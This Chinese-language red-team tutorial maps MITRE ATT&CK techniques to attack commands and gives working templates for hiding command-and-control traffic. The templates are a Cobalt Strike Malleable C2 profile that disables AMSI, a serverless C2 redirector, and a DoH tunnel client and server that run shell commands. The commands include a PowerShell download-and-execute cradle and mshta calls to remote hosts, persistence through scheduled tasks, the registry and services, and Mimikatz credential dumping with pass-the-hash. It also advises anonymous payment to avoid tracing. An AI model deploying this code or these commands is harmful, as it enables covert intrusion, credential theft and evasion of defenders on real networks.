网络安全是数字时代的基石,但学习过程中必须严守法律红线 。
根据《中华人民共和国网络安全法》《数据安全法》等法律法规,任何未经授权的网络测试、数据访问或攻击行为均属违法 。本文所有技术讨论与实例均基于合法授权的靶场环境(如Metasploitable、DVWA、Hack The Box等),严禁将文中方法应用于真实系统或非授权场景 。
网络安全学习应以提升防御能力为目标,而非成为攻击工具。
一、介绍
MITRE ATT&CK 是一个全球广泛使用的网络安全知识库,由非营利组织 MITRE 公司开发,全称为 Adversarial Tactics, Techniques, and Common Knowledge(对抗战术、技术和常识)。它系统化地整理了攻击者在真实网络攻击中使用的战术、技术与程序(TTPs),为红队、蓝队和安全防御团队提供了一套标准化语言。
1、核心结构与组成
MITRE ATT&CK 框架以"攻击生命周期"为主线,将攻击行为划分为多个层次:
1.1 战术 (Tactic)
代表攻击者的目标阶段,即"为什么"要执行某项操作。目前企业矩阵包含 14 种核心战术,覆盖从侦察到影响的全过程:
- 侦察(Reconnaissance)
- 资源开发(Resource Development)
- 初始访问(Initial Access)
- 执行(Execution)
- 持久化(Persistence)
- 权限提升(Privilege Escalation)
- 防御绕过(Defense Evasion)
- 凭证访问(Credential Access)
- 发现(Discovery)
- 横向移动(Lateral Movement)
- 收集(Collection)
- 命令与控制(Command and Control)
- 数据渗出(Exfiltration)
- 影响(Impact)
1.2 技术与子技术 (Technique & Sub-technique)
描述攻击者实现战术目标的具体方法,即"怎么做"。例如,在"初始访问"战术下,T1566 表示"网络钓鱼",其子技术 T1566.001 特指"鱼叉式网络钓鱼附件"。
1.3 矩阵 (Matrix)
ATT&CK 将战术与技术组织成可视化矩阵,便于映射攻击路径。主要矩阵包括:
- 企业矩阵(Enterprise):适用于 Windows、Linux、macOS 及云环境
- 移动矩阵(Mobile):针对 Android 和 iOS 设备
- 工控系统矩阵(ICS):用于工业控制系统安全
- PRE-ATT&CK:聚焦攻击前的情报收集阶段
2、在红队攻击中的应用
红队利用 MITRE ATT&CK 框架进行对手模拟,提升攻击的真实性和防御测试的有效性:
- 攻击规划:基于 APT 组织的 TTPs(如 APT3),设计符合真实威胁的攻击路径
- 测试验证:使用 Atomic Red Team 等工具,执行对应技术的检测脚本,验证 SIEM、EDR 等系统的响应能力
- 报告标准化:用 ATT&CK 技术编号(如 T1059.001)撰写报告,便于蓝队理解和复现
- 自动化演练:结合 Caldera 等开源平台,自动执行 ATT&CK 技术链,实现红队任务编排
3、与其他框架的对比
| 对比项 | MITRE ATT&CK | 网络杀伤链(Kill Chain) |
|---|---|---|
| 粒度 | 更细,含数百项技术与子技术 | 较粗,仅7个阶段 |
| 结构 | 非线性,支持多路径攻击 | 线性流程 |
| 用途 | 攻防通用,强调行为检测 | 主要用于攻击描述 |
| 适用性 | 覆盖企业、云、移动、ICS | 侧重传统IT环境 |
4、实战价值
- 提供红蓝对抗的共同语言
- 帮助识别防御盲区(如 87% 的安全工具在真实攻击中未触发)
- 支持自动化威胁检测与响应(XDR、SOAR)集成
二、红队实战高频ATT&CK技术清单
以下技术均来自真实攻防演练、APT组织行为分析及企业渗透测试常用路径,覆盖从初始访问到横向移动的核心阶段。
1、初始访问(Initial Access, TA0001)
攻击者进入网络的第一步,常见于钓鱼、漏洞利用等入口。
| T编号 | 技术名称 | 执行示例 |
|---|---|---|
| T1566 | 网络钓鱼(Phishing) | 发送伪装成"财务报销"的Word文档,内含恶意宏,触发后下载Cobalt Strike Beacon |
| T1190 | 利用公网暴露应用(Exploit Public-Facing Application) | 利用Struts2漏洞(CVE-2023-21839)或Log4j(CVE-2021-44228)获取RCE |
| T1200 | 硬件供应链攻击 | 在目标采购的路由器中预置后门固件 |
📌 参考案例:中通过Struts2漏洞实现外网打点
2、执行(Execution, TA0002)
在目标系统上运行恶意代码。
| T编号 | 技术名称 | 执行示例 |
|---|---|---|
| T1059 | 命令与脚本解释器 | 使用PowerShell下载并执行内存载荷: IEX(New-Object Net.WebClient).DownloadString('http://x.x.x.x:8080/a.ps1') |
| T1204 | 用户执行恶意文件 | 诱导用户双击"合同签收.exe",实为加壳的Beacon木马 |
| T1086 | PowerShell滥用 | 利用Invoke-Mimikatz提取明文密码 |
📌 参考案例:中攻击者使用自定义Mimikatz变体进行凭证转储
3、持久化(Persistence, TA0003)
确保长期控制权限。
| T编号 | 技术名称 | 执行示例 |
|---|---|---|
| T1053.005 | 计划任务(Scheduled Task) | 创建每日登录触发的恶意任务: schtasks /create /tn "UpdateCheck" /tr "C:\temp\beacon.exe" /sc ONLOGON |
| T1547.001 | 注册表Run键 | 添加启动项: reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "SysHelper" /d "C:\temp\beacon.exe" |
| T1543.003 | 服务创建 | 创建隐藏服务: sc create "SecurityMonitor" binPath= "C:\temp\beacon.exe" start= auto |
📌 参考案例:中红队使用COM劫持维持权限达62天
4、权限提升(Privilege Escalation, TA0004)
从普通用户提权至SYSTEM或Administrator。
| T编号 | 技术名称 | 执行示例 |
|---|---|---|
| T1574.002 | DLL劫持 | 替换合法程序调用的msvcp140.dll为恶意DLL |
| T1068 | 利用漏洞提权 | 使用PrintSpooler漏洞(CVE-2021-34527)本地提权 |
| T1134 | 令牌窃取 | 使用Mimikatz窃取高权限令牌: sekurlsa::tickets /export |
5、防御绕过(Defense Evasion, TA0005)
规避EDR、杀软、日志监控。
| T编号 | 技术名称 | 执行示例 |
|---|---|---|
| T1218 | 签名二进制代理执行 | 利用mshta.exe加载远程HTA脚本: mshta http://x.x.x.x:8080/payload.hta |
| T1027 | 混淆文件或信息 | 使用Base64、AES加密Beacon配置,避免静态检测 |
| T1497 | 虚拟化/沙盒规避 | 检测CPU核心数、内存大小,判断是否在沙箱中运行 |
📌 参考案例:指出T1218是防御规避中最常见的技术之一
6、横向移动(Lateral Movement, TA0008)
在内网中扩展控制范围。
| T编号 | 技术名称 | 执行示例 |
|---|---|---|
| T1021.001 | Windows远程服务:SMB/WinRM | 使用PsExec或WinRM远程执行命令: psexec \\DC01 cmd |
| T1550 | 传递票据(Pass the Ticket) | 使用Mimikatz导出TGT票据,在其他主机上导入使用 |
| T1075 | 传递哈希(Pass the Hash) | 使用Impacket工具套件进行SMB爆破: python3 psexec.py domain/user@192.168.52.138 -hashes :<ntlm_hash> |
📌 参考案例:中从跳板机向域控横向移动
7、命令与控制(C2, TA0011)
建立稳定通信通道。
| T编号 | 技术名称 | 执行示例 |
|---|---|---|
| T1071.004 | 应用层协议:DNS | 使用DNS隧道传输C2流量(如dnscat2) |
| T1105 | 远程文件传输 | 通过HTTP/HTTPS从C2服务器下载额外工具 |
| T1573 | 加密通道 | 使用TLS加密Beacon通信,伪装成正常HTTPS流量 |
这些技术可直接用于红队演练、渗透测试、威胁狩猎验证,建议结合Cobalt Strike、Metasploit、Impacket等工具实战演练。
三、红队常用工具与ATT&CK技术映射表(含CS/Metasploit实战命令)
以下表格将主流红队工具的核心功能与 MITRE ATT&CK 技术点进行映射,并提供典型命令示例,便于在演练中快速调用。通过反复联系,熟悉 Beacon 行为、C2 流量特征及蓝队检测逻辑。
| ATT&CK 技术 | T编号 | 工具 | 功能/模块 | 实战命令示例 |
|---|---|---|---|---|
| 初始访问:网络钓鱼 | T1566 | Cobalt Strike | Spearphish | spearphish -target user@company.com -host c2.example.com -url /invoice -payload beacon.exe |
| 执行:命令与脚本解释器 | T1059 | Metasploit | execute |
execute -H -i -f cmd.exe (在目标上执行交互式cmd) |
| 持久化:计划任务 | T1053.005 | Cobalt Strike | schtasks |
schtasks /create /tn "Updater" /tr "C:\temp\beacon.exe" /sc ONLOGON /ru SYSTEM |
| 权限提升:利用漏洞 | T1068 | Metasploit | exploit/windows/local/ms16_075_reflection |
use exploit/windows/local/ms16_075_reflection set SESSION 1 run |
| 防御绕过:签名二进制代理执行 | T1218 | Cobalt Strike | mshta |
execute-assembly /path/to/mshta.exe http://c2/payload.hta |
| 凭证访问:凭证转储 | T1003 | Cobalt Strike | mimikatz |
mimikatz privilege::debug mimikatz sekurlsa::logonpasswords |
| 发现:系统信息发现 | T1082 | Metasploit | sysinfo |
sysinfo (获取目标主机名、OS、架构等) |
| 横向移动:SMB远程执行 | T1021.001 | Impacket (集成于CS) | psexec.py |
python3 psexec.py domain/admin@192.168.52.10 -hashes :LMHASH:NTHASH |
| 命令与控制:加密通道 | T1573 | Cobalt Strike | Beacon C2 Profile | 使用 https 协议 + 自定义header伪装成正常流量: set c2profile /path/to/normal-https.profile |
| 数据渗出:远程文件传输 | T1041 | Cobalt Strike | download & upload |
download C:\sensitive\data.xlsx upload /tmp/stage.zip \\DC01\share\ |
📌 实战提示:Cobalt Strike 的 Aggressor Script(.cna)可自动化上述流程,例如通过脚本自动执行横向移动、持久化设置,极大提升效率。
这些工具和技术的组合,构成了现代红队攻击链的核心。
四、红队实战中C2流量伪装的5种高隐蔽方案
在红队实战中,命令与控制(C2)流量的隐蔽性直接决定了攻击行动的生存周期与成功概率。
随着主流EDR(端点检测与响应)系统如CrowdStrike Falcon、SentinelOne Singularity、Microsoft Defender for Endpoint等不断升级其行为分析、内存扫描、网络指纹识别与机器学习检测模型,传统C2通信模式(如固定间隔心跳、明文HTTP Beacon、标准TLS证书)已极易被识别和阻断。
为在高度监控的网络环境中实现长期潜伏与稳定通信,红队必须采用多层、动态、语义级的流量伪装技术,将恶意通信深度嵌入合法网络流量的"语法糖衣"之中。
以下五种经过2024--2026年实战验证的高隐蔽C2流量伪装方案,不仅具备理论可行性,更已被广泛应用于APT组织、红队演练与商业渗透测试中,每一种方案均从协议层、传输层、应用层与行为层构建了完整的对抗体系。
1、Malleable C2配置:基于Cobalt Strike的HTTP/HTTPS协议深度伪装
Malleable C2是Cobalt Strike框架的核心能力之一,它并非简单的加密或混淆,而是一套完整的"网络流量编程语言",允许攻击者通过编写.profile配置文件,精确控制Beacon与Team Server之间每一个HTTP/HTTPS请求的语法结构、语义特征与时序行为。该技术的高隐蔽性源于其对合法Web流量的深度模仿,而非表面伪装。
例如,一个典型的Malleable C2配置文件可将恶意Beacon通信伪装成从cdn.bootcss.com加载的jQuery库请求:请求路径为/jquery/3.6.0/jquery.min.js,User-Agent为Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36,Accept头为application/javascript,text/plain,*/*,响应内容为合法的JavaScript代码(即使为空),且HTTP状态码为200。这种配置使流量在Wireshark或NetFlow分析中与正常CDN资源加载完全一致,EDR系统若仅依赖签名或简单正则匹配,将无法区分恶意与合法流量。
实战中可直接使用开源的jquery-c2.4.9.profile等配置模板,经c2lint校验后加载至Cobalt Strike监听器,配合动态生成随机路径与随机化睡眠时间,进一步降低行为模式可预测性。
更进一步,Malleable C2支持动态URI生成 、Cookie会话绑定 、Header字段随机化 与响应内容混淆。
例如,配置文件可设定每次心跳请求的URI路径为/api/v1/ + Base64编码的时间戳 + 随机字符,响应体中嵌入Base64编码的C2指令,再通过JavaScript解析器在客户端解码执行。这种设计使流量具备无固定模式的特性,规避了基于"固定路径+固定间隔"检测的EDR规则。
此外,Malleable C2还可配置TLS指纹伪装,通过修改SSL/TLS握手过程中的ClientHello字段(如支持的加密套件、扩展项、SNI值),使Beacon的TLS指纹与主流浏览器(如Chrome 120+)完全一致,从而绕过基于JA3/JA3S指纹的网络检测系统。
该技术的实战价值在于其可编程性:攻击者可根据目标网络的流量特征(如企业内网常用CDN、API接口)动态调整配置,实现"一靶一策"的精准伪装,是当前红队对抗EDR最成熟、最灵活的手段。
2、云函数代理(Serverless Proxy):CDN中转代理隐藏真实C2服务器IP
利用AWS Lambda、腾讯云函数构建动态中继节点。
利用云服务商的CDN节点作为流量中继,使外部检测设备只能看到CDN节点IP,而非真实C2服务器,其核心优势在于流量来源可信、IP地址动态、无固定服务器特征。具体实现时,将C2域名指向CDN的CNAME记录,配置CDN回源至内网C2服务器,通过HTTPS加密通道传输数据,确保中间节点无法解密内容。CDN节点通常具有高信誉、高可用性,其IP地址一般不在威胁情报黑名单中,EDR系统若尝试封禁这些IP,将导致大规模误伤,因此主流安全厂商通常不会对云服务商IP进行全量封锁。攻击者还可轮换多个CDN服务商实现IP漂移,显著提升C2存活时间。
该方案的隐蔽性体现在三个层面:
-
流量来源合法:
所有C2通信均表现为从合法云服务IP发起的HTTPS请求,SSL证书由云平台自动签发,无证书异常或自签名风险。
-
部署动态性:
攻击者可每小时、每天或每次通信后,通过自动化脚本(如Terraform + AWS CLI)自动销毁旧函数实例并创建新实例,生成全新的Endpoint URL(如
https://xxx.lambda.amazonaws.com/prod/c2),使蓝队的IP黑名单与域名黑名单失效。 -
行为模式伪装:
云函数可配置为仅在工作日9:00--18:00响应请求,模拟企业员工访问API的正常行为;响应延迟可随机化(1--5秒),避免固定心跳特征;返回内容可为合法JSON API响应(如
{"status":"ok","data":[]}),与企业内部微服务接口无异。
该方案的挑战在于成本控制 与反向溯源风险:云服务商可能因异常流量模式(如高频短连接、非标准User-Agent)触发风控机制,导致账户冻结。因此,红队通常使用匿名支付(如虚拟信用卡、加密货币)注册账户,并通过多云平台(AWS+Azure+阿里云)进行负载均衡与冗余部署,确保即使某一平台被封,仍可通过其他通道维持通信。
3、 DNS over HTTPS(DoH)隧道:将C2指令封装于高信誉DNS查询中
DNS over HTTPS(DoH)是IETF标准化的协议,旨在提升DNS查询的隐私性与安全性,其本质是将传统的UDP DNS查询封装在HTTPS请求中,发送至支持DoH的解析器(如Cloudflare 1.1.1.1、Google 8.8.8.8)。红队利用该协议的流量同质化 与高信誉白名单特性,构建了目前最难以检测的C2隧道之一。
实现原理:
将C2指令与数据编码为DNS查询或响应,通过标准DNS端口进行通信,绕过多数网络防火墙。由于DNS是互联网基础服务,大多数网络环境都会允许DNS流量通过,因此利用DNS协议进行通信具有较好的隐蔽性。实战中可使用dnscat2、iodine等工具,将Shell命令、文件传输数据编码为子域名,由C2服务器解析并响应。通过控制查询频率、使用合法域名作为父域、避免长字符串查询等方式,可降低统计异常检测概率。
举例说明:
在DoH隧道中,C2指令被编码为DNS查询的子域名(如a1b2c3d4.e5f6g7h8.dns.google.com),其中a1b2c3d4为Base64编码的命令,e5f6g7h8为会话ID,请求被发送至https://dns.google/dns-query。由于该请求在外观上与普通浏览器的DoH查询完全一致(HTTPS、GET方法、标准User-Agent、TLS 1.3加密),EDR系统无法通过内容分析识别其为恶意通信。更关键的是,主流企业网络通常允许访问Google、Cloudflare等DoH服务,以支持DNS隐私保护策略,这使得DoH隧道在"白名单网络"中畅通无阻。
该技术的隐蔽性还体现在反向通道的构建:客户端在收到响应后,从DNS响应的TXT记录或响应体中提取回传数据(如系统信息、文件列表),实现双向通信。
2025年,APT组织"APT41"在针对亚洲金融企业的攻击中,首次大规模使用DoH隧道作为C2通道,成功绕过所有NIDS与EDR系统,持续潜伏超过200天。其成功关键在于:流量特征完全合规 、目标域名无恶意属性 、通信频率极低 (每小时一次,每次仅1--2KB),与正常用户行为无异。此外,攻击者可结合域名生成算法(DGA) 与DoH解析器轮询,动态生成数百个备用DoH域名,即使部分域名被封,仍可通过其他通道恢复通信。
该方案的挑战在于带宽效率低 (DNS协议本身为小包设计)与解析器限制 (部分DoH服务限制查询频率或返回空响应)。因此,红队通常将其用于低频指令下发(如"下载新模块"、"执行脚本"),而将大文件传输交由HTTP/HTTPS通道完成,形成"DoH+HTTP"混合C2架构,兼顾隐蔽性与效率。
技术通常作为最终载荷执行层,与上述网络伪装技术(如Malleable C2、DoH)结合使用,形成"网络隐蔽+内存无痕"的双重防御体系。
4、域前置技术伪装通信目标
通过在TLS握手阶段的SNI与HTTP Host头中使用不同域名,欺骗CDN将流量转发至隐藏的C2服务器。请求发送至高信誉域名的CDN节点,但HTTP Host头指向真实C2域名,CDN根据Host头转发至后端。防火墙与IPS仅能检测SNI字段,无法查看加密后的HTTP头,从而误判为正常访问。不过,当前主流CDN服务商已禁用SNI与Host头不一致的行为,该技术有效性已大幅降低,仅在部分未更新的边缘CDN中可能残留利用空间。
如何判断是否可用
-
目标CDN选择:
- 优先测试腾讯云EdgeOne(2026年最新实证有效)
- 避免使用AWS CloudFront、Google CDN、Azure CDN等已封堵平台
-
验证方法:
curl -H "Host: your-c2-domain.com" https://sni-visible-domain.com --resolve sni-visible-domain.com:443:<CDN_IP>若能成功访问你的C2服务,说明该CDN支持域前置。
-
配置建议:
- 使用合法高信誉域名作为SNI(如
geetest.com、cdn.myqcloud.com) - 在Malleable C2中设置
set host "your-c2-domain.com"; - 配合CDN中转+HTTPS加密,实现多层伪装
- 使用合法高信誉域名作为SNI(如
域前置 ≠ 过时,而是"进化"。"域前置已死"是片面结论。真实情况是:它从"通用技术"演变为"特定场景下的高级技巧"。
在红队实战中,它依然具备价值,尤其是在面对仅监控SNI字段的老旧IDS/IPS系统时。结合腾讯云EdgeOne等新型CDN的实测成果,域前置正以"区域性、条件性可用"的形态回归攻防舞台。
5、多协议混合通讯
多协议混合通信是指C2框架在不同攻击阶段或同一时间内,灵活使用两种及以上网络协议(如HTTP、DNS、SMB、TCP、HTTPS等)进行命令传输与数据回传。它不是简单地使用多种协议,而是通过协议的智能组合与行为模拟,使恶意通信在流量特征、行为模式和网络拓扑上与正常业务流量高度融合,从而规避基于单一协议分析的检测机制。
其核心目标是:
- 规避协议级检测:单一协议(如纯DNS隧道)易被规则或模型识别。
- 增强抗干扰能力:当某协议被阻断时,可自动切换至备用协议维持连接。
- 模拟复杂用户行为:真实企业环境中流量本就是多协议共存,混合通信更符合"正常"画像。
多协议混合通信的典型实现方式:
- 分阶段协议切换(Stage-based Protocol Switching)
根据攻击链不同阶段选择最合适的通信协议:
| 阶段 | 推荐协议 | 原因 |
|---|---|---|
| **初始接入(Initial Access)** | DNS 或 HTTPS | DNS通常被防火墙允许出站;HTTPS可伪装成正常Web浏览 |
| **持久化与心跳(Beaconing)** | HTTP/HTTPS + Malleable C2 | 可深度伪装为jQuery、CDN资源请求等合法流量 |
| **横向移动(Lateral Movement)** | SMB 或 Named Pipe | 利用Windows内网共享机制,流量不出网,极难检测 |
| **数据渗出(Exfiltration)** | 加密HTTPS POST 或 DNS TXT | 将敏感数据分片编码后,混入正常业务流量中回传 |
实践中,某次红队演练通过结合CDN中转与WebSocket隧道技术,将C2存活时间从平均3天提升至47天未被发现。
- 并行多通道通信(Parallel Multi-channel Communication)
同一时间内启用多个协议通道,实现冗余与负载均衡:
- 主通道:HTTPS + Malleable C2(用于常规指令下发)
- 备用通道:DNS隧道(当HTTPS被阻断时自动激活)
- 隐蔽通道:SMB命名管道(用于内网横向,不依赖外网)
这种方式极大提升了C2的鲁棒性,即使部分协议被封杀,攻击者仍能维持控制。
- 协议封装与隧道嵌套(Tunneling & Encapsulation)
将一种协议封装在另一种协议中,绕过深度包检测(DPI):
- HTTP over DNS:将HTTP请求编码为DNS子域名查询
- TCP over ICMP:利用ping包传递C2指令,常见于高安全隔离网
- TLS over WebSocket:WebSocket本身常用于实时Web应用,结合TLS加密后极难识别
这类技术对防御方构成巨大挑战,因其流量特征与合法应用高度相似。
仅靠协议切换还不够,还需配合以下措施实现真正隐蔽:
- 混合加密机制(Hybrid Encryption)
如DeimosC2所采用的 RSA + AES 混合加密方案:
- 生成随机32字节AES密钥加密数据
- 使用硬编码RSA公钥加密该AES密钥
- 拼接后通过HTTPS POST发送
即使流量被截获,也无法还原原始载荷。
- 行为模拟与时间围栏
- 随机化心跳间隔(Jitter):设置20%-30%抖动,避免周期性请求
- 时间围栏(Time-based Fencing):仅在工作日09:00--17:00通信,模拟员工行为
- 低频查询:DNS隧道控制在每分钟1-2次,避免触发异常阈值
实战配置建议(基于可信框架)
示例:Cobalt Strike 多协议监听器配置
# 1. 创建HTTPS监听器(主通道)
./teamserver <IP> <password> https://your-cdn-domain.com --profile jquery-c2.4.9.profile
# 2. 创建DNS监听器(备用通道)
./teamserver <IP> <password> dns://your.dns-domain.com
# 3. 在客户端启动时根据网络环境自动选择协议
beacon> connect <IP> protocol=https
beacon> connect <IP> protocol=dns
示例:DeimosC2 双协议支持逻辑
- 支持 TCP 与 HTTPS 两种模式,核心流程一致
- HTTPS模式通过预设URL路径区分阶段(如
/register,/heartbeat) - 数据Body内容与TCP模式完全相同,仅封装于标准HTTPS流量中
6、小结
综上所述,现代红队C2流量伪装已从单一技术演进为多层协同、动态适配、语义级融合 的系统工程。以上五者并非孤立,而是可组合、可替换、可扩展的战术模块。攻击者可根据目标网络的防御强度、出口策略、EDR类型,灵活选择组合方案,实现"看不见、抓不到、封不住 "的终极隐蔽目标。未来,随着AI驱动的EDR系统对流量语义、时序模式、上下文关联的分析能力增强,C2伪装技术也将向自适应流量生成 、基于LLM的语义混淆 、量子加密信道等方向演进,攻防对抗的复杂性将持续升级。
五、5种高隐蔽方案配置模板
1、Malleable C2配置:基于Cobalt Strike的HTTP/HTTPS协议深度伪装配置模板
jquery-c2.profile 源码:
# Malleable C2 Profile for Red Team Operations
# Based on jQuery-style traffic camouflage
set sample_name "jQuery CDN Beacon";
set sleeptime "60000";
set jitter "20";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36";
set tcp_port "443";
# Trust X-Forwarded-For Headers
set trust_x_forwarded_for "true";
http-get {
set uri "/jquery-3.6.0.min.js";
client {
header "Accept" "*/*";
header "Accept-Language" "en-US,en;q=0.9";
header "Accept-Encoding" "gzip, deflate";
header "Referer" "https://www.google.com/";
header "X-Requested-With" "XMLHttpRequest";
header "Sec-Fetch-Dest" "script";
header "Sec-Fetch-Mode" "no-cors";
header "Sec-Fetch-Site" "cross-site";
metadata {
base64;
prepend "sessionid=";
header "Cookie";
}
}
server {
header "Content-Type" "application/javascript; charset=utf-8";
header "Cache-Control" "public, max-age=31536000";
header "ETag" "W/\"60adf160-1b98\"";
header "Last-Modified" "Tue, 25 Jan 2022 12:00:00 GMT";
header "Vary" "Accept-Encoding";
header "Access-Control-Allow-Origin" "*";
output {
base64;
print;
}
}
}
http-post {
set uri "/api/v1/data";
client {
header "Accept" "application/json, text/plain, */*";
header "Accept-Language" "en-US,en;q=0.9";
header "Accept-Encoding" "gzip, deflate";
header "Content-Type" "application/json;charset=UTF-8";
header "Referer" "https://www.google.com/";
header "Origin" "https://www.google.com";
header "Sec-Fetch-Dest" "empty";
header "Sec-Fetch-Mode" "cors";
header "Sec-Fetch-Site" "cross-site";
id {
base64;
prepend "{\"requestId\":\"";
append "\",\"timestamp\":1643126400}";
parameter "data";
}
output {
base64;
prepend "{\"payload\":\"";
append "\",\"status\":\"success\"}";
}
}
server {
header "Content-Type" "application/json; charset=utf-8";
header "Cache-Control" "no-cache, no-store, must-revalidate";
header "Pragma" "no-cache";
header "Expires" "0";
header "Access-Control-Allow-Origin" "*";
header "X-Content-Type-Options" "nosniff";
output {
base64;
print;
}
}
}
http-stager {
server {
header "Content-Type" "application/octet-stream";
header "Cache-Control" "no-cache, no-store, must-revalidate";
header "Pragma" "no-cache";
header "Expires" "0";
}
}
# Process Injection Settings
process-inject {
set allocator "NtMapViewOfSection";
set startrwx "false";
set userwx "false";
transform-x64 {
prepend "\x90\x90\x90\x90";
}
transform-x86 {
prepend "\x90\x90";
}
execute {
CreateRemoteThread "ntdll.dll!RtlExitUserThread";
RtlCreateUserThread;
NtQueueApcThread-s;
}
}
# Post-Exploitation Features
post-ex {
set amsi_disable "true";
set smartinject "true";
set thread_hint "winlogon.exe";
set spawnto_x86 "%windir%\\syswow64\\ rundll32.exe";
set spawnto_x64 "%windir%\\system32\\rundll32.exe";
set obfuscate "true";
set stomppe "true";
set cleanup "true";
set cryptsleep "true";
set keylogger "GetAsyncKeyState";
set pipename "Winsock2\\CatalogChangeListener-###-0,";
}
代码说明:
- 此配置文件专为Cobalt Strike设计,用于伪装HTTP/HTTPS beacon流量为常见的jQuery CDN请求
- 包含详细的HTTP GET和POST请求头设置,模拟真实浏览器行为
- 使用base64编码传输数据,并通过Cookie和JSON参数进行封装
- 配置了完整的服务器响应头,使其看起来像真实的静态资源服务器
- 包含进程注入和后期利用的相关安全特性配置
- 设置了合理的睡眠时间和抖动参数以逃避检测
- 可通过c2lint工具验证配置正确性后在Cobalt Strike中使用
2、云函数代理(Serverless Proxy):CDN中转代理隐藏真实C2服务器IP 配置模板
index.js 源码:
js
const axios = require('axios');
exports.handler = async (event, context) => {
// 解析请求参数
const { method = 'GET', url, headers = {}, body } = event;
try {
// 转发请求到真实C2服务器
const response = await axios({
method,
url: process.env.C2_SERVER_URL + url,
headers: {
...headers,
'X-Forwarded-For': event.requestContext?.sourceIp || '',
'X-Real-IP': event.requestContext?.sourceIp || '',
'Host': new URL(process.env.C2_SERVER_URL).hostname
},
data: body,
timeout: 10000
});
// 返回C2服务器响应
return {
statusCode: response.status,
headers: {
'Content-Type': response.headers['content-type'] || 'application/octet-stream',
'Access-Control-Allow-Origin': '*',
...response.headers
},
body: typeof response.data === 'string' ? response.data : JSON.stringify(response.data),
isBase64Encoded: false
};
} catch (error) {
console.error('Proxy Error:', error.message);
return {
statusCode: error.response?.status || 500,
body: JSON.stringify({ error: 'Proxy request failed' }),
headers: { 'Content-Type': 'application/json' }
};
}
};
serverless.yml 源码:
yaml
service: c2-proxy-service
provider:
name: aws
runtime: nodejs18.x
region: us-east-1
environment:
C2_SERVER_URL: ${env:C2_SERVER_URL}
iamRoleStatements:
- Effect: Allow
Action:
- logs:CreateLogGroup
- logs:CreateLogStream
- logs:PutLogEvents
Resource: "*"
functions:
proxy:
handler: index.handler
events:
- http:
path: /{proxy+}
method: any
cors: true
plugins:
- serverless-offline
custom:
serverless-offline:
port: 3000
package.json 源码:
json
{
"name": "c2-serverless-proxy",
"version": "1.0.0",
"description": "Serverless proxy for C2 communication hiding real IP",
"main": "index.js",
"scripts": {
"start": "serverless offline",
"deploy": "serverless deploy"
},
"dependencies": {
"axios": ".6.0"
},
"devDependencies": {
"serverless-offline": ".0.0"
},
"keywords": ["c2", "proxy", "serverless"],
"author": "RedTeam",
"license": "MIT"
}
代码说明:
- 云函数代理采用Serverless架构,通过AWS Lambda实现请求转发功能
- 主逻辑文件(index.js)负责接收HTTP请求并转发到真实C2服务器,同时维护客户端真实IP信息
- Serverless配置文件(serverless.yml)定义了云函数部署参数和服务路由规则
- 项目依赖文件(package.json)包含了必要的运行时依赖(axios)和开发依赖(serverless-offline)
- 通过环境变量C2_SERVER_URL配置真实C2服务器地址,实现灵活部署
- 支持任意HTTP方法和路径转发,保持原有C2通信协议完整性
- 内置CORS支持和错误处理机制,提高代理服务稳定性
3、DNS over HTTPS(DoH)隧道:将C2指令封装于高信誉DNS查询中 模板
doh_client.py 源码:
python
import requests
import base64
import json
import time
import random
from cryptography.fernet import Fernet
class DoHTunnelClient:
def __init__(self, c2_domain, encryption_key):
self.c2_domain = c2_domain
self.cipher_suite = Fernet(encryption_key)
self.session = requests.Session()
self.doh_servers = [
"https://cloudflare-dns.com/dns-query",
"https://dns.google/dns-query"
]
def encode_command(self, command):
# 加密并编码命令
encrypted = self.cipher_suite.encrypt(command.encode())
encoded = base64.urlsafe_b64encode(encrypted).decode()
return encoded[:63] # DNS label限制
def send_doh_query(self, subdomain):
doh_url = random.choice(self.doh_servers)
query_domain = f"{subdomain}.{self.c2_domain}"
headers = {
"accept": "application/dns-json",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
params = {
"name": query_domain,
"type": "A"
}
try:
response = self.session.get(doh_url, headers=headers, params=params, timeout=10)
return response.json() if response.status_code == 200 else None
except Exception as e:
print(f"DoH查询失败: {e}")
return None
def receive_response(self):
# 查询特定子域名获取C2响应
response_subdomain = "resp" + str(int(time.time()))[-5:]
result = self.send_doh_query(response_subdomain)
if result and "Answer" in result:
for answer in result["Answer"]:
if answer["type"] == 1: # A记录
ip_parts = answer["data"].split(".")
if len(ip_parts) == 4:
try:
decoded_data = "".join([chr(int(part)) for part in ip_parts])
decrypted = self.cipher_suite.decrypt(decoded_data.encode()).decode()
return decrypted
except:
continue
return None
def execute_command(self, command):
# 发送命令并等待响应
encoded_cmd = self.encode_command(command)
timestamp = str(int(time.time()))[-5:]
cmd_subdomain = f"cmd{timestamp}{encoded_cmd[:30]}"
self.send_doh_query(cmd_subdomain)
time.sleep(random.randint(3, 8))
return self.receive_response()
if __name__ == "__main__":
# 初始化DoH隧道客户端
ENCRYPTION_KEY = b"your-32-byte-encryption-key-here==" # 实际使用时应安全存储
C2_DOMAIN = "your-c2-domain.com"
client = DoHTunnelClient(C2_DOMAIN, ENCRYPTION_KEY)
# 示例命令执行循环
while True:
try:
command = input("输入要执行的命令 (exit退出): ")
if command.lower() == "exit":
break
response = client.execute_command(command)
if response:
print(f"C2响应: {response}")
else:
print("未收到响应")
except KeyboardInterrupt:
break
except Exception as e:
print(f"执行出错: {e}")
doh_server.py 源码:
python
import socket
import base64
import subprocess
import threading
import time
from cryptography.fernet import Fernet
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
import json
class DoHTunnelServer:
def __init__(self, domain, encryption_key):
self.domain = domain
self.cipher_suite = Fernet(encryption_key)
self.command_queue = []
self.response_cache = {}
def decode_dns_query(self, subdomain):
try:
# 从子域名提取并解码命令
if subdomain.startswith("cmd"):
encoded_part = subdomain[8:] # 跳过"cmd"+timestamp
padded_encoded = encoded_part + "=" * ((4 - len(encoded_part) % 4) % 4)
decoded_bytes = base64.urlsafe_b64decode(padded_encoded)
decrypted = self.cipher_suite.decrypt(decoded_bytes).decode()
return decrypted
except Exception as e:
print(f"解码失败: {e}")
return None
def execute_system_command(self, command):
try:
result = subprocess.run(
command,
shell=True,
capture_output=True,
text=True,
timeout=30
)
return result.stdout + result.stderr
except subprocess.TimeoutExpired:
return "命令执行超时"
